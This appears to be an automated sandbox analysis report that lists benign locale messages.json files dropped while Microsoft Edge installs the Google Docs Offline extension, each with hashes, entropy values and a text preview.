Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
